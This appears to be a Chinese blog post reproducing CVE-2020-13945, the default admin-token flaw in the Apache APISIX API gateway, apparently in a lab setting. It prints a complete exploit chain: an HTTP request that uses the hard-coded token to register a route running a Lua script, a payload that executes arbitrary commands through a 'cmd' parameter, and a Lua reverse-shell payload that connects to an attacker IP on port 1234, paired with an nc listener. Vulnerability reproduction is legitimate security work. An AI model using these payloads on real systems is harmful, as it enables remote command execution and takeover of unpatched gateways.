Apache APISIX 默认密钥漏洞(CVE-2020-13945)复现

张开发
2026/5/26 17:11:46 15 分钟阅读
Apache APISIX 默认密钥漏洞(CVE-2020-13945)复现
Apache APISIX 默认密钥漏洞CVE-2020-13945Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下Apache APISIX将使用默认的管理员Tokenedd1c9f034335f136f87ad84b625c8f1攻击者利用这个Token可以访问到管理员接口进而通过script参数来插入任意LUA脚本并执行。漏洞复现环境启动后访问http://your-ip:9080即可查看到默认的404页面。漏洞利用使用bp抓包http://your-ip:9080页面发送到重放模块利用默认Token增加一个恶意的router其中包含恶意LUA脚本POST /apisix/admin/routes HTTP/1.1 Host: your-ip:9080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 Content-Type: application/json Content-Length: 406 ​ { uri: /attack, script: local _M {} \n function _M.access(conf, ctx) \n local os require(os)\n local args assert(ngx.req.get_uri_args()) \n local f assert(io.popen(args.cmd, r))\n local s assert(f:read(*a))\n ngx.say(s)\n f:close() \n end \nreturn _M, upstream: { type: roundrobin, nodes: { example.com:80: 1 } } }然后我们访问刚才添加的router就可以通过cmd参数执行任意命令http://your-ip:9080/attack?cmdid反弹shell使用以下payload其中ip为kali的ip监听端口为1234{ uri: /shell, script: local _M{} \n function _M.access(conf, ctx) \n local srequire(socket) \n local tassert(s.tcp()) \n t:connect(10.132.1.173,1234) \n while true do \n local r,xt:receive();local fassert(io.popen(r,r)) \n local bassert(f:read(*a));t:send(b) \n end \n f:close();t:close() \n end \n return _M, upstream: { type: roundrobin, nodes: { example.com:80: 1 } } }修改payload然后发送本地监听端口1234nc -lvnp 1234浏览器访问http://10.22.93.191:9080/shell可以看到漏洞利用成功拿到来自靶机的反弹shell。

更多文章